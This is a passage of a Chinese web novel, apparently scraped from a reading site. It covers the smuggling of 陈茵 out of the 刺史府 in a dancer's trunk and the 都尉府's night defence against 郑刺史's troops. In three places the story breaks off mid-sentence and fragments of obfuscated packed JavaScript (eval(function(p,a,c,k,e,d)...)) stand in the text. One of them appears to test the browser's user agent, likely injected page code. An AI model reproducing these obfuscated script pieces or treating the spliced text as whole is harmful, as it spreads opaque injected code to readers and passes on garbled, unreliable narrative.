柳舜华坐在二楼茶馆,静静地瞧着楼下来来往往的人群。 饶是上辈子曾见识过相府宴席的盛况,她依旧不得不感叹,郑刺史此次寿宴的排场之大。 等了片刻,远远看到两辆马车靠近,马车上皆印着醉月居的标识。 陈莹轻声提醒,“表姐,他们来了。” 柳舜华向下望去,驾车的二表哥觉察到她们的目光,抬起头,朝她们示意一切顺利。 马车内,柳棠华还在摆弄着身上的衣饰,既新奇又兴奋。 她今日穿了醉月居的舞姬装,藕荷色的长裙,越发衬得她出水芙蓉一般。长袖轻盈,像两条水带一样,一条垂下来的流苏腰带上挂着铃铛,稍一碰撞,便发出悦耳的声响。 欣赏完衣裙,柳棠华又将目光转向古赞丽。 她看了看古赞丽,又垂头看了看自己的衣裙,微微一声叹息。 “姐姐,我在长安见过好多美人,可她们全部算起来,都不及你。方才我已经觉得我这身够美了,可一看到你……哎……” 古赞丽被她逗得笑了起来,捏着她的脸,用标准的汉语道:“你这张小嘴,怎么这么招人喜欢,怪不得莹莹总带着你。” 柳棠华扭了扭身子,歪在古赞丽身旁,眨着眼,“姐姐你为什么愿意冒着危险帮我们啊?” 古赞丽转头看向窗外,“我自幼流落到凉州,被养在醉月居。小的时候,还不会跳舞,只能做些洒扫的活计。我手脚笨,又不会汉语,经常被人欺负。有次我在醉月居外洒扫,不小心溅了哪个贵人一身,被他拉便要打,是莹莹她将出来打酒的钱赔给了那人,才让我幸免于难。” 柳棠华点头:“莹姐姐她热心得很,对我也很好。” 古赞丽收回目光,叹声道:“我真羡慕莹莹,有你们这么好的兄弟姐妹。” 柳棠华想着这两日的相处,不忍见她伤感,拉过她的手,一双杏眼亮晶晶的,“不管是在长安还是凉州,我都没什么朋友。姐姐是我这辈子认识的第一个朋友,我虽然成不了姐姐的亲妹妹,但会记得姐姐一辈子的。” 古赞丽眼眶一红,拼命忍住,拉紧柳棠华的手,“有你和莹莹,我这辈子……不枉此生。” 两人正说着便听到有人敲了下窗壁。 大表哥熟悉的声音传来:“姑娘,到了。” 古赞丽对着柳棠华点了点头,两人缓缓下了马车。 大表哥递上请柬,垂着头对着守门的侍卫道:“我们是醉月居的,来此献舞。” 侍卫扒开大表哥,正瞧见两个女子一前一后下了马车。 古赞丽盈盈施礼,对着侍卫微微一笑。 她眼眸深邃而明亮,眼角微挑,鬓边一缕秀发飘起,一身红衣飞扬,飘然欲仙,露出的半截细腰又增添了几分妩媚。 侍卫紧紧盯着古赞丽,呆愣了许久。 大表哥咳了一声,“敢问,可否通行?” 侍卫回过来神,连声道:“自然、自然。” 古赞丽朝大表哥招招手,“你去,将马车上的箱子抬下来。” 大表哥会意,拉着候在一旁的二表哥,抬着箱子便想进门,却被侍卫拦了下来。 古赞丽不动声色,摇曳着上前,主动将箱子打开,“这里面是我今日要用的琵琶,还有舞姬们备用的衣裙等物。” 侍卫凑过去一看,箱子内的确只有一把皮革包着琵琶,整整齐齐地摆放着一些藕色的衣裙,散落几把羽扇。 他挥了挥手,大表哥与二表哥对视一眼,将箱子抬了进去。 看着古赞丽与柳棠华顺利进了刺史府,二楼的柳舜华与陈莹松了一口气。 陈莹拉着柳舜华,试图在做最后的谈判,“表姐,我也想去。” 柳舜华安慰着,“阿莹,我知道你是想帮忙,可是你出入刺史府太多次,侍卫们难免会认出你。你就乖乖在这等着,若是里面万一有什么变故,日落时我们还未出来,你也好立即回去,寻族人过来帮忙。” 此次虽说做了万全的准备,可凡事都有意外,她不得不做最坏的打算。 即便救不出表姐,也要保证其他人的安全。 不能亲自去营救姐姐,陈莹有些失落,“好吧,我听你的。” 柳舜华笑了笑,“你这个才是最重要的,要眼观四路耳听八方。你现在,可是我们所有人的后盾。” 陈莹这才释怀,展颜一笑。 柳舜华告别陈莹,转身去了医馆。 待到日暮,柳舜华换了男装,随同范神医一起踏进了刺史府。 刺史府西院正房,范神医帮郑充换了药,正要起身离开,郑充突然呜呜地叫了起来。 管事嬷嬷吓得不轻,立即上前,“范先生,公子他这是怎么了?” 范神医按住他的手腕,仔细检查一番,面色逐渐凝重起来。 管事嬷嬷轻声道:“范先生,如何了?” 范神医收回手,厉声道:“这些天,不是说要好好补一补气血,怎么还是这么虚?” 管事嬷嬷颤声道:“这些,这些都是少夫人安排的。” 范神医脸色阴沉,“少夫人呢,这么重要的事,怎么照顾得如此草率?” 管事嬷嬷立即道:“来人,还不快请少夫人过来。” 陈茵很快被请了进来,这次她看起来好了许多,脸上的脂粉不似先前那般厚重,眼中也有了几分光彩。 范神医一见她便道:“少夫人,此前老夫说过,要多喝些红枣粥,可有按我给的药方,按时熬给公子服用?” 陈茵瞥了一眼瘫在床上的郑充,淡声道:“每日都有熬煮,我在小厨房亲自熬好喂下的。” 范神医神色略有缓和,“那就奇怪了,不应该啊,是不是熬煮过程出了问题?” 陈茵眼眸一沉,轻声道:“若是范神医不放心,可随我亲自到小厨房去查看,若是我做得不妥,也好顺便指点一二。” 原本柳舜华还有些担心表姐紧张之下露出破绽,却不想她竟如此镇定,不但洞悉了范神医的意图,还顺便解决了他们的难题。 柳舜华心内叹息,在这深宅大院内,即便是再温婉敦厚,都不得不磨砺出一点微不可查的锋芒,以免被风吹雨打得残破零落。 范神医起身道:“也好,我这就随你去看看。郑公子这病,实在耽搁不得。” 管事嬷嬷来不及反应,稀里糊涂地跟着几人出了门。 门口的侍卫见管事嬷嬷跟着,并未劝阻,只是眼神示意两个丫头贴身跟着。 莹儿此前常出入刺史府,对这的布局一清二楚。据她所述,出了正房,绕到郑充平日常用的小厨房,需要经过一处山石掩映的小路。而那里,便是他们动手的地方。 柳舜华心内默默盘算着,还好早料到他们会派人跟着,她们早有准备。 因寿宴摆在前厅,一路上只见零星几个侍女仆从来去匆匆。 几人各怀心事,很快便走到山石处。管事嬷嬷走在最前头,陈茵由两个丫头陪着紧随其后,范神医与柳舜华落在后头。 大路一转,来到山石处,迎面走来两个下人打扮的小厮。 管事嬷嬷一瞧,不像是府内的下人,喝道:“你们是什么人?” 两个小厮慌张卑躬屈膝地垂下头,“我们是今日寿宴请来的帮工,走错了路。” 管事嬷嬷骂道:“蠢东西,怎么绕到这里来了。顺着这个路往前走,看到月洞门,再往前出了花圃,往右转,然后一直走,过了侧门,便到前院了。” 两个小厮抬头,笑道:“多谢。” 管事嬷嬷挥了挥手,一句“赶紧走”还未说出口,只觉眼前一黑,晕了过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其中一个侍卫摸着头,“怎么办,要不要叫人来?” 另一个看了柳棠华一眼,“那要不,你去?” “你去。” “你去。” 两人不忍心看着这么水灵灵的姑娘疼得在地上翻滚,又不敢擅离职守,一时争执不下。 “出什么事了?”大表哥换好了醉月居的衣衫,款步而来。 待走近些,对着躺在地上的柳棠华眨下眼。 方才还在打滚的柳棠华慢慢站起身来,虚弱地扶住门框,“方才……腹痛难忍,已经好……好多了。” 大表哥粗声道:“出来一次还要拖后腿,古赞丽马上就要下场了,没事就赶紧收拾一下。” 柳棠华唯唯诺诺,“我这就去。” 话音方落,古赞丽便同一众舞姬走了进来,身后还跟着二表哥。 看到大表哥,古赞丽挥手道:“你们快去,把东西抬出来,咱们这就回去。” 大表哥与二表哥进屋,将箱子搬了出去。 一众舞姬跟着出了刺史府。 柳舜华早寻借口出了府,提前到二楼与陈莹汇合。 陈莹见到柳舜华,激动道:“怎么样,姐姐没事吧?” 柳舜华坐下,倒了一杯茶,双手微微颤抖,“一切顺利,接下来就看古赞丽的了。” 两人紧盯着刺史府门口,期待着古赞丽的身影。 过了许久,终于瞧见古赞丽走了出来。 大表哥与二表哥紧跟着抬起箱子,费力地搬上马车。 柳舜华与陈莹相视一望,一颗心终于落地。 “等一下。”有人从府内大步走了出来。 38. 第 38 章 柳舜华一颗心瞬间被提起,屏住呼吸,一双眼紧盯着楼下。 那人一身玄衣,瞧着不过二十左右,一双鹰目却透着精光,眼神中满是寒意,“怎么不搜?” 门口的两个侍卫忙上前讨好道:“这是醉月居的舞姬,来的时候已经查过了。” 那人对着一众舞姬扫过去,目光凌厉,看得柳棠华浑身一颤,忙躲到古赞丽身后。 “今日刺史寿宴,鱼龙混杂,怎可如此大意?人员可都核对过了?” 两个侍卫举起手上的册子弯腰道:“六人,一个不多一个不少,您瞧瞧。” 那人走到马车旁,停了下来,目光一扫,拍着尚未抬上去的箱子,“打开。” 古赞丽轻摇腰肢,不慌不忙上前,娇柔道:“这位大人,我们来的时候都检查过了。里面放的是我方才宴席上用的琵琶,还有一些姑娘们备用的衣裙。” 那人冷眼瞧着古赞丽,冷声重复道:“打开。” 大表哥与二表哥看了眼古赞丽,紧张得心砰砰直跳。 古赞丽娇媚一笑,“这位爷,一个箱子而已,不必动怒。爷想看,奴打开便是。” 说罢,她走上前,亲自打开,“爷请看。” 那人走近,仔细一瞧,里面的确只有一把琵琶,还有一叠跳舞穿的衣裙。 他目光微沉,伸手将衣裙扒开,露出箱底。 箱底空空如也。 古赞丽拿出琵琶,半个身子歪过去,“爷是对这琵琶感兴趣?若您不弃,今夜可到醉月居,我定为您弹上一曲。” 那人身子一僵,退后两步。 古赞丽不依不饶,一副看透他的表情,娇笑道:“对琵琶不感兴趣,那必是对这舞衣有兴致。今夜,奴穿上这舞衣,醉月居等您。” 那人不知想起了什么,片刻愣神,又十分嫌弃地看了她一眼,转头朝门内走回去。 古赞丽轻轻将琵琶放回箱子内,朝着二表哥一笑,“还不走。” 醉月居两辆马车一前一后,很快驶离刺史府门前。 待到前方一个岔路口,古赞丽借口要去止云斋取衣裙,将其余人甩开。 二表哥一路驾着马车,终于在一处僻静的巷口停了下来。 “到了,到了。”陈莹早已等候多时,看到马车过来,拉着柳舜华激动不已。 柳舜华来不及回应她,待到马车停稳,一把掀开车帘,矮身钻了进去。 “快,快将东西拿出来。”柳舜华打开箱盖,急道。 众人七手八脚地将东西取出,柳舜华拿出随身携带的短刀,对着侧壁用力一撬,将一块连着箱底的可活动木板取了下来。 陈茵单薄的身躯正靠在箱壁,坐在木箱内,大口喘着气。 “姐姐!”陈莹叫了一声,泪如雨下。 陈茵双眼半睁,嘴唇止不住颤抖,声音嘶哑,“莹儿。” 马车外站着的两兄弟跟着红了眼眶,他们终于将姐姐救了出来。 众人将陈茵扶出木箱,古赞丽忧心道:“刺史府的人很快便会发现,咱们不能耽搁,还是依着原计划,将人暂且安置在醉月居吧。” 陈茵无故失踪,刺史府首要怀疑的,便是陈家。 所以,陈茵暂时还不能回去。 柳舜华点头,“有劳姑娘了。” 几人不敢耽搁,正准备告知二表哥驾车,便听到车外一阵响动。 大表哥浑身戒备,厉声道:“你们是什么人?在此作甚?” 车内几人相视一望,屏住呼吸。 刺史府的人这么快便查来了? 陈莹一手抓着姐姐,一手握紧马鞭,随时等着冲出去。 只听车外有人低声道:“车内可是柳小姐?” 柳舜华侧耳一听,声音有些熟悉,掀开车帘一角朝外望去。 来人竟是都尉府的周松。 柳舜华瞬间放下心来,问道:“你怎么会在这?” 周松笑了笑,“柳小姐是想将人藏在醉月居吧?” 柳舜华微微一诧,点点头。 周松道:“贺公子说,醉月居虽鱼龙混杂,利于藏匿,但郑充常在那里厮混,难免会有他的眼线。都尉府西街有一处宅院,环境幽静,可以让表小姐安心养伤。而且,那附近住的都是一些有头有脸的人物,刺史府的人不会轻易去此处闹事。” 说罢,他便上前,将钥匙递给守在一旁的大表哥。 “西街,安乐巷,中间那户,系着红色丝带的皂角树旁便是。” 陈莹看着柳舜华,“表姐?” 柳舜华本不想贺玄度牵涉太甚,特意没有告知他此次的计划。范神医虽是都尉府的人,但她此前并未告知要将人藏在醉月居,贺玄度又是如何知晓的? 她虽不知贺玄度究竟如何知晓,不过他的安排的确更好。 她回头看了看表姐,点头道:“好,钥匙我收下了,明日我必登门道谢。” 周松见她收了钥匙,笑道:“柳小姐,东西既已送到,那我先告辞了。” 为免人多眼杂,几人当即决定,二表哥继续护送古赞丽回醉月居。大表哥提前回家安抚舅父,毕竟他们悄无声息出去一天,很难不让人起疑。 事已说定,陈莹换了二表哥,架着车赶往安乐巷。 陈茵脑中一片昏沉,扶着胸口,歇了好一会,才渐渐有了好转,“舜华,方才那个贺公子,可靠吗?” 柳舜华面上有几分不自然,摸着脖颈,“他……很可靠。” 陈莹听得真切,在外面笑道:“姐姐放心,贺公子是万都尉的侄子,人自然不会差的。” 听到万都尉,陈茵徒然变了脸色,混沌的头脑一下清醒过来,“都尉府,有危险。” 车内几人面面相觑,柳舜华急道:“表姐为何这么说?” 陈茵慌道:“刺史府借此次寿辰,暗中部署,今夜要血洗都尉府。” 柳舜华一听,连连摇头,“刺史府为何要动都尉府?而且刺史府那点人,别说血洗都尉府,怕是连门都进不去,怎么可能呢?” 陈茵喘了几口,忙道:“你们可有听说近日常有山匪出没?那些人,根本不是什么山匪,全都是刺史府的人。刺史府借着剿匪的名义,已经将他们全部安排在凉州城各处,就是为了今晚。” 几人惊得目瞪口呆,刺史府竟敢如此行事。 柳舜华闻听此言,顿时紧张起来,对着陈莹喊道:“莹儿,快些,再快些。” 柳棠华按着心口,颤声道:“不会吧,都尉府内皆是精兵,至少有上千人,刺史府能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈茵焦急地看着她,慌道:“蓁蓁,我也担心都尉府,担心凉州城的安定,此前给你写那个寿字,就是想提醒你,刺史府寿宴后会有行动。可事已至此,无力回天,咱们只能将消息传递给都尉府,让他们设法抵抗。至于其他,只有咱们先逃出去,活下来,将来才能有机会证明都尉府的清白。” 柳舜华摇摇头,目光坚定,“不,表姐,你们先走,今日我必须去。” 柳棠华紧紧拽住柳舜华,泪眼婆娑,“姐姐,我要跟你在一起。” 柳舜华狠下心,抽出她的手,“芊芊,你听话,跟着他们一起出城,你跟着我只会是拖累。你相信我,我会想办法脱身的。明日若是脱困,我自会去城外寻你们。” 柳棠华缓缓放下手,姐姐一旦做了决定,再难改变。她知道,姐姐无论如何,都不会跟她们走的。 柳舜华朝着陈茵躬身道:“表姐,外祖他们年事已高,经不起折腾。还望……还望告知他们我已提前出城,莫要让他们担心。” 陈茵还想挽留她,情绪一激动,又止不住地喘着气,“蓁蓁,此事因我而起,我不能眼睁睁地看着你……” 柳舜华按住她的手,“不,表姐,此事与你无关,你不必内疚。一切都是我自己的选择,我愿意。” 说罢,她不再停留,转身离开,拼命向前奔去。 “姐姐,你一定要回来啊!” 她听到柳棠华在身后哭喊,不敢回头。 残阳似血,火烧一般,染红了半边天。 风声在耳边掠过,相府的那场大火又燃烧在眼前。 熊熊烈火中,她仿佛又看到了贺玄度,他就一个人,孤零零地站在那。 贺玄度,这次你不会再是一个人。 39. 第 39 章 侍卫回禀说柳小姐过来的时候,贺玄度愣了一下。 此时夕阳已落山,最后一点余晖随之消散,暗沉沉的天色压在四周,牢笼一般。 贺玄度没想到,这个时候,她还会过来。 他整理了衣襟方准备出门去迎,刚出院子,柳舜华便一头扎了进来。 贺玄度忙伸手扶住她,“你这个时候来做什么?” 柳舜华拉着他往内走,“贺玄度,你听……我说,都尉府今夜有难。” 贺玄度一惊,“你怎么知道?” 柳舜华知他暂时反应不过来,上气不接下气地喘着解释,“刺史府,刺史府今晚要对都尉府发难,诬陷都尉府造反。” 贺玄度一愣,明显不信,“怎么可能,他根本拿不出证据。” 柳舜华急道:“怎么不会,若攻下都尉府,证据不是随他们捏造。” 怕他不信,柳舜华接着道:“我表姐无意间听到了郑刺史他们的计划,所以才会被软禁起来。行动就在今晚,他们一早便算计好了,趁着万都尉不在,袭击都尉府。贺玄度,都尉府要尽快做好打算,不然,真的来不及了。” 贺玄度低头沉默片刻,转头对上柳舜华,“若是如此,你快些离开,以免被波及。” 他想了想,又道:“侧门隐蔽,离安乐巷近些,我让人从那里送你出去。” 柳舜华站在那里,并没有动。 贺玄度看着她,有些着急,厉声道:“柳舜华,你是傻了吗,怎么还不走?” 柳舜华歪头朝他一笑,“贺玄度,已经晚了。这会我外祖一家,已经出了城。今夜,除了这里,我已无处可去。” 夜风突起,吹动着她的衣摆,单薄的身子却像是江边摇曳的蒲草,即便是风雨也不折不弯。漆黑的眼眸中带着坚韧,就这么静静地看着他,让他不得不重新正视她。 贺玄度心上猛地一颤,湿了眼眶,嘴上却刻薄道:“柳舜华,你就是个大傻子。” 夜色深浓,两人就这么看着,谁也没再多说一句。 “公子,刺史府有异动。”周松从外面匆匆赶来。 贺玄度回过神,神色凝重,“目前什么情况?” 周松看了看柳舜华,见贺玄度并没有隐瞒的意思,接着说:“寿宴结束,刺史府迅速纠集约五百兵士,瞧着像是有大动作。我已命人登上角楼时刻留意,若是靠近,必有人来报。” 柳舜华蹙眉,“不止,刺史府敢强攻都尉府,来人绝对不止这些。表姐说,前阵子出现的贼匪,其实是刺史府的人,早已被安排在凉州城各处,只怕就是为了此刻。” 周松先是一惊:“刺史府要袭击咱们都尉府?” 随后,他猛然一拍脑袋,“我说怎么一早就觉得哪里不对,都尉府周围来了许多生人,他们极有可能就是刺史府派来监视咱们都尉府的。公子,现在外面八成已被他们封锁,再想传递消息出去,只怕是难了。” 他急得团团转,忙跪下道:“公子,是我疏忽了,请公子责罚。” 贺玄度挥手让他起来,“眼下不是追究责任的时候,而是要解决问题。” 周松忧虑道:“如今都尉不在,单凭府内这些人……” 他没有说下去。 刺史府有精兵五百余人,再加上此前引入城的一批悍匪,对付仅仅百人、空虚的都尉府,几乎不费吹灰之力。 柳舜华挺身站了出来,盯着贺玄度,目光灼灼,“贺玄度,刺史府此行,定不会留有活口授人以柄。都尉府阖府上下数百条性命,不能白白断送,你必须要站出来。” 贺玄度闻言,浑身一怔。 他一向以纨绔示人,在众人眼里,不过就是个只会吃喝玩乐的废物。他知柳舜华并未像其他人一样,因此轻视于他,可却不曾想到,有朝一日,她会同他说,让他站起来。她信他,信他能肩负起都尉府数百条人的性命。 柳舜华以为他被吓到不知所措,并未埋怨他无能,只是走到他身边,柔声道:“贺玄度,不要怕,咱们也不是毫无机会。都尉府不乏英才,你可以将他们聚起来,好好商讨御敌之策。刺史府虽人多势众,可若是咱们能坚持到天亮,到时百姓云集,刺史府又没实证,以都尉府的声望,或可利用声势奋力一搏。” 其实柳舜华也知道,以都尉府目前的兵力,若要对抗到天亮,简直难如登天。可若不奋力一搏,今晚之后,人人敬仰的万都尉将会被冠上卖国贼的称号,都尉府也将沦为一片废墟。都尉府昔日的辉煌与成就,也将随着这场战斗付之一炬。 尽管形势不利,尽管很有可能尸骨无存,可她就是想拼一下,和贺玄度一起,为今生拼一个将来。 贺玄度喉间发紧,声音干涩,“柳舜华,呆在这,外面有我。” 柳舜华抓住他的衣襟,“不,我要跟你一起,我不想一个人。” 她仰着头,目光里满是渴求,贺玄度的心突然就软了下来。 “好,咱们一起。”他说道。 角楼那边很快传来消息,都尉府四周已经被人围了起来。 刺史府到都尉府尚有一段距离,他们明白,如今这些人多半是此前潜入凉州城的贼匪。 贺玄度命人紧闭府门,没有他的命令,不得开门。 周松已聚集府内所有人到演武厅,留守的将士、一众仆从,满打满算百余人。 仆从们一个个吓得瑟瑟发抖,眼中尽是恐惧与不安。 不过这些将士多半是上过战场的,听闻刺史府今夜发难,只是短暂震惊,很快回过神来。 红彤彤的火把燃烧在演武场,昔日战场的激昂之气猛然迸发。 “老子是上过战场,同匈奴狗拼杀过的,会怕了他们不成。” “都尉府以护佑我凉州百姓为己任,对朝廷尽忠,岂能由他们污蔑。” “狗日的刺史府,贼胆包天,今日他们敢来,我们就跟他拼了。” “拼了!拼了!” …… 因都是将士,行军打仗的经验丰富,都尉府很快做好防备。 都尉府门墙高大,朱红的大门稳如泰山,除非有撞城车,抑或千斤锤,刀枪剑戟一时难以攻破。若想要进得来,只能通过爬梯来攻。 围墙四周被洒满了酒水、火油,只待围攻贼子进来时将其点燃。 贺玄度又让人翻找出过年剩下的烟花爆竹,从厨房里的搬出面粉。 大门处留了十余人看守,四周围墙之下各布置二十余人,一众妇孺被安置在偏厅。 安排好一切,偌大的都尉府,瞬间沉寂下来。 众人都握紧手中的武器,静静地等待着,那一刻的到来。 柳舜华就站在贺玄度身后,他一袭玄衣,手持长枪,立在门前,一脸肃杀。 不知为何,柳舜华突然想起了那个戴着银面的将军。 银面将军,祁连山下的假贼匪…… 柳舜华福至心灵,“贺玄度,此前捉获的那帮贼匪,是不是还关在府内?” 贺玄度点头,捉到的假贼匪按理应交由刺史府。可万都尉近日忙着对付匈奴兵,无暇顾及他们,是以并未进行交接。 柳舜华喜上心头,“太好了,他们虽是假贼匪,看起来却也不弱,若是说服他们加入,咱们也能多点胜算。” 贺玄度道:“他们是贼匪,怎么甘心陪着咱们背水一战?” 柳舜华却道:“不管他们是什么人,如今皆与都尉府在同一条船上,船稳则生,船破则死。” 贺玄度听懂她的意思,握紧长枪,对着她灼亮的眼眸,缓声道:“如今正是紧要关头,我走不开。既然你想试,那便去,不过,一切小心为上。” 柳舜华点头,“我会的,贺玄度,你也要小心。” 都尉府地牢内,烛火忽明忽暗。 程三他们正伸长了脖子,透过牢门往外看。 “三哥,这会狱卒都不在,瞧他们方才慌慌张张的样子,都尉府是不是出什么事了?” 程三瓮声道:“我怎么知道?” 有人不安道:“三哥,他们不会是想杀我们灭口吧?” 程三一巴掌拍了过去,“你是不是傻,要杀早杀了,还用等到现在。何况,我看万都尉,不像那些个狗官,只知道中饱私囊,不管百姓死活。” 有人附和道:“这倒是,咱们关进来的这些天,他们的确没有刻意为难咱们。” “嘘,别说话。”程三让众人闭嘴,“有人来了。” 急促的脚步声逼近,程三借着灯光,眯眼仔细瞧了瞧,一脸茫然。 满脑子只有一个疑问:这小白脸谁啊?之前好像没见过。 柳舜华一步步走下台阶,站在牢门前,“是我,柳舜华。” 众人面面相觑,柳舜华,谁啊? 程三看着眼前男装的柳舜华,好半晌才反应过来,喜不自胜,“柳小姐,怎么是你?” 柳舜华扫了一眼牢内,很好,这些时日都尉府并未苛待他们,一个个瞧着依旧健壮有力。 程三用手理了理蓬乱的头发,摸着脖子,有些不好意思道:“柳小姐是特意来看我的吗?” 柳舜华愕然。 一旁带路的狱卒一脚踢在门上,“给我老实点,你也不瞧瞧你什么身份,我们柳小姐……” 柳舜华不想与他们废话,打断道:“都尉府突遭袭击,贼人马上便要攻进来,你们想不想活命?” 牢中众人乱做一团,七嘴八舌地议论着。 程三皱眉道:“都尉府怎么会有人袭击,难不成是匈奴兵打进来了?” 柳舜华长话短说,“刺史府诬陷都尉府造反,趁万都尉不在,都尉府内空虚,欲血洗都尉府。” 此前赶牛车的大哥呸了一口,“他放屁。我们这些人虽是外地逃难过来的,但一路上都有耳闻,万都尉这些年一直抗击匈奴,维护凉州城的安定,怎么可能造反。反而是这个什么狗屁刺史,就是因为他横征暴敛的,还将手伸到我们那里,才逼的我们不得不落草为寇。” 柳舜华见他义愤填膺,众人也都跟着咒骂不停,当即道:“如今形势危急,诸位可愿随府内侍卫一起,奋力一战?” 话音方落,方才还吵吵嚷嚷的牢内,瞬间安静下来,眼神望向程三。 他们是为万都尉鸣不平,也着实厌恶郑刺史,可拼命这种事,还是要慎重。好死不如赖活着,他们还不想死。 程三眼一挑,沉声道:“柳小姐这是让我们去送死?” 柳舜华扫了他一眼,“你们现在出去,拿上武器,还能反抗。若是等贼人杀进来,怕是连反抗的机会都没。” 程三仰头一笑,“柳小姐,我们都是些毫不相干的人,又不清楚发生了何事,刺史府的人即便杀进来,也不见得就一定会对我们动手。” 柳舜华冷眼瞧着他,“若都尉府失陷,你当真以为,你们能逃过他们的毒手?刺史府诬陷都尉府造反,却并无实证,今夜突袭,他们定会想方设法将罪名落实,以免留下把柄。” 她默然扫过众人,“你们的存在,很可能就是把柄。” 他们都不是什么良人,自然知道斩草除根的道理,一时都慌乱起来,齐齐望向程三。 “三哥,怎么办?” “三哥,你发个话,咱们都听你的。” 程三思索片刻,抬头道:“要我们帮忙,也不是不可以。只是我有一个条件,不知柳小姐能不能做主?” 柳舜华一早便瞧出了他的意图,他其实比任何人都清楚,一旦贼人攻进来,他们不会有好下场。方才特意一番周旋,不过是想替大伙争取个优待。不愧是他们的老大,是个有头脑的。 她朗声道:“若是想要免除你们的罪责,这个我做不了主。不过我敢保证,若你们戴罪立功,击退贼人,万都尉一定会从轻发落。” “我们不要从轻发落,”程三摇头,“我们要入万都尉的军营。” 柳舜华一愣,她没想到程三竟是这个打算。 程三道:“我虽不知姑娘是何人,但此前我们得罪姑娘,是万都尉出手相救。如今,都尉府危急,又是姑娘站了出来。我猜,姑娘在万都尉那里,应该能说上话,所以恳请姑娘,若能击退贼人,望姑娘能在万都尉面前美言几句。” 柳舜华有些为难,对面的人明显误会了什么。她同都尉府,毫无交情,不过是中间夹着一个贺玄度。 她细细盘算着,若他们今晚命丧于此,自然也就不用担心这个承诺。 若能侥幸击退贼人,他们又有心回头,未尝不是一件好事。 至于日后要兑现承诺,左右还有贺玄度,他一直是个好说话的。 思及此,柳舜华点头道:“若你们肯从良,那自然再好不过,只要你们不再有害人之心,我相信万都尉没有理由拒绝。” 程三躬身郑重道:“如此,我等愿奋力一战。” 众人见他如此,纷纷高和道:“我等愿奋力一战。” 群情激昂,看得狱卒都有些热血沸腾。 柳舜华让狱卒开了牢门,一行人奔向武库,各自挑选了顺手的兵器,朝着前厅杀去。 …… 角楼处的侍卫来报,刺史府的贼人将到。 贺玄度紧紧盯着都尉府大门,周围的侍卫高举着火把,院内登时亮如白昼。 不一会,外面便传来哐哐的脚步声,随即叫喊声隔着大门响起: “都尉府勾结匈奴,数典忘祖,罪不容诛。” “快快出来认罪,饶尔等不死。” “不知者无罪,若开门来迎,恕其无罪。否则,格杀勿论。” …… 贺玄度听他们提到匈奴,脑中突然灵光一闪,瞬间将整件事串起来。 之前他一直想不明白,刺史府为何敢如此明目张胆,造反这样大的罪名,可不是随随便便一两个无关紧要、模棱两可的证据便能轻易坐实的。 如今他总算想通了,为何刺史府如此笃定能妥善处理,因为从始至终同匈奴勾结的,是刺史府。 他冷笑一声,上前隔着门朗声道:“数典忘祖,里通外贼的是你们刺史府。匈奴屡屡骚扰边境,次次得逞,都是郑刺史你的手笔吧?” 外面叫喊声顿时止住了。 片刻,一个浑厚的声音响起:“巧言善辩,颠倒黑白。谁不知道都尉府皆是精兵,对付一小骑匈奴兵,却是屡战屡败,明明是万都尉与匈奴联合,洗掠边境百姓。” 贺玄度回敬道:“郑刺史,你也不怕这话闪了舌头。此刻郑刺史身上,应该有与匈奴往来的书信吧。这些书信便是今日你要诬陷都尉府的证据,我猜的可对?” “诸位,你们可千万别被郑刺史给骗了。他才是真正的叛国贼,你们若是跟着他,不怕日后追责株连九族吗?不信的话,你们将郑刺史上下翻一翻,准能翻到好东西。” 喧嚣声暂停,外面人群举棋不定,郑刺史冷声道:“贺二公子,我本以为你是被那万诚的表象给迷惑了,有意想放你一马,你却执意与他同流合污,那就休怪我无情了。” 贺玄度高声道:“我是相府二公子,你动都尉府便是动我。你与丞相为敌,就不怕将来我爹降罪与你?” 郑刺史不屑一笑,“二公子,你当真以为我在凉州,京城之事便全然不知。贺丞相与都尉府关系怎样,又是如何对你,咱们心里都有数。” 贺玄度嗤笑道:“好啊,那你有本事就来杀了我。” 郑刺史劝道:“贺二公子,你还年轻,犯不上为了这些人赔上性命。若你此时开门,我可以保你不死。” 贺玄度朗笑道:“保我不死?郑刺史,你也说了我是同党,你怎么保,徇私枉法吗?” 郑刺史见劝不动,不再与他口舌,“贺二公子既不打算开门,却还在这周旋,无非就是想拖延时间。可惜啊,今夜,谁也救不了你。都尉府,完了。” 他大喝一声:“来啊,给我冲,第一个冲进去的,赏金千两。” 门外的士兵听到赏金,方才一瞬的顾虑全然没了踪影,一个个红了眼,朝着大门疯狂撞去。 眼见大门一时半刻攻不破,士兵们搬来梯子开始爬墙。墙边的侍卫们早做好了准备,举起长枪,对着墙头的贼军便是一通乱刺,霎时惨叫声四起。奈何对方人多势众,倒下了一批,又有一批攻了上来。 贺玄度命人将烟花爆竹点燃,朝着墙头扔去,霹雳吧啦的声响下,贼军们落荒而逃。 过了片刻,待爆竹已经燃尽,守在外墙的士兵又卷土重来。这次他们都憋着一股劲,势头更加迅猛,成群成群地爬上墙头,黑压压的一片。 侍卫们已是刺不及,迅速点燃地面上的酒水火油。火势迅猛,很快形成一条火障。来不及躲闪的贼军身上沾染了火,疼得满地打滚。墙头上的人不敢轻易上前,一个个趴在那里,只待火势弱下去再攻进院内。 贺玄度一面示意弓箭手射击,一面让人在火上撒去面粉。 一时乱箭齐发,又听一声巨响,面粉在空中爆了开来,巨大的冲击力将骑在墙头的贼军震下墙来,碰到火又烧了起来。 血腥味混合着烧焦的味道弥漫在空中。 墙头终于静了下来。 可府内的侍卫们却不敢有丝毫放松,他们都知道,火不会一直烧下去,待火熄灭,他们最后一道防线也将荡然无存。 不知过了多久,墙外再次传来骚动,贼军们又死灰复燃,纷纷跃过墙头翻进院内。 随着贺玄度一声“杀”,侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他如今已年过四十,膝下只有郑充一个儿子,一向宝贝得紧,乍听贺玄度一说,登时紧张起来。 